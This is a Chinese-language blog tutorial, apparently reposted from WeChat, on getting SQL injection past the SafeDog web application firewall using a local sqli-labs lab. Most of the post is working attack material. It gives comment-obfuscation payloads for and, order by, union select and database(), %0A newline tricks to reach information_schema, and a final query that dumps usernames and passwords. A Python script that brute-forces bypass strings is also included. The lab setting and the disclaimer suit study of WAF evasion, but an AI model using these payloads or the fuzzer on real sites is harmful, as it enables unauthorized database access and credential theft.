sql注入-Bypass安全狗
2022-12-1 12:40:54 Author: 鹏组安全(查看原文) 阅读量:20 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


环境

1、网站安全狗Apache版

http://free.safedog.cn/

安装过程找不到服务 解决https://blog.csdn.net/qq_51550750/article/details/123843078http://free.safedog.cn/

2、sqli-labs

https://github.com/Audi-1/sqli-labs

3、小皮面板

image.png

and 绕过

检测是否存在注入 ?id=1' 安全狗未拦截

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=1' and 1=1%23

安全狗拦截这是最应该「先做」也是「最简单的部分」,因为WAF大都是通过「黑名单」的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的「某个函数或其他位置」触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实「一个一个试」就行了

例如我这里的and 1=1被拦截,就可以依次输入
and
and(空格)
and 1
and 1=
and 1=1

通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了「演示」:比如这里我「输入and,正常」「and+空格,正常」,输入「and 1出现拦截」页面,如下 说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,——「FUZZ绕过」

Fuzz绕过利用

Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试 演示:比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload 举个简单的例子,来看看下面这个语句

/sql/less-1/?id=1' and 1=1 %23

如果我们想要替换空格,最常见的就是/**/,如下

sql/less-1/?id=1'/**/and 1=1 %23

但却不一定好用,大概率被过滤,其实/**/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*1234*/中间的数据,将其作为变量进行爆破,如下这里payload的类型选择burpsuite自带的「Brute force」,用特殊符号组成「1-4位字典」进行爆破,如下点击start进行fuzz根据结果可以看到「Length=905」的都可以成功,/+-+配合包着的注释符就是/*/+-+*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=1' and/*/+-+*/1=1%23

1=2的逻辑判断语句,再次验证是否成功绕过

?id=1' and/*/+-+*/1=2%23
image.png

python脚本进行fuzz

import requests
import itertools as its
import queue,threading

def Bypass_dog():
while not q.empty():
payload = q.get()
try:
url = f"http://10.211.55.9:8080/sqli-labs/Less-1/?id=1' and/*{payload}*/1=1%23"
res = requests.get(url=url)
if 'Your Password' in res.text:
print(payload)
except:
pass
if __name__ == '__main__':
q = queue.Queue()
numbers='5'
words = "-+/!#"
for number in range(1, int(numbers) + 1):
r = its.product(words, repeat=number)
for i in r:
i="".join(i)
q.put(i)
thread_list = []
for i in range(10):
t = threading.Thread(target=Bypass_dog)
thread_list.append(t)
for t in thread_list:
t.setDaemon(True)
t.start()
for t in thread_list:
t.join()

「order by 绕过」

我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下

/sql/less-1/?id=1'order by 2 %23

「尝试」

1' order
1' order by

使用/*/+-+*/替换空格绕过

?id=1' order/*/+-+*/by 3%23
image.png

union select 绕过

使用/*/-+-*/替换空格绕过

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,2,3 --+
image.png

database()绕过

image.png

绕过

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,database/*/--/*/(),3 --+
image.png

information_schema绕过

获取securitys数据库中的表

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(table_name) from information_schema.tables where table_schema=database/*/--/*/()),3%23

通过fuzz测试发现对information_schema.tables过滤很严格

使用%0A换行污染绕过

在GET请求时,将URL的SQL,关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。

/*!%23%0aselect*/
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(table_name) from /*!--+*//*%0ainformation_schema./*!tables*/ where table_schema=database/*/--/*/()),3%23
image.png

获取securitys数据库中表的字段

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(column_name) from /*!--+*//*%0ainformation_schema./*!columns*/ where table_schema=database/*/--/*/()),3%23
image.png

获取user表中username字段的内容

http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(username,0x3a,password) from users),3%23
image.png

欢 迎 加入学习

推 荐 阅 读


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NDU3NDA3OQ==&mid=2247488083&idx=1&sn=b9a86499781c8386cf4d0df78833837a&chksm=c01cdec3f76b57d5c8594283148b669ba50d7c5b0b44f5b4d074f2fce1cfcef2d1fa3fbdbf8d#rd
如有侵权请联系:admin#unsafe.sh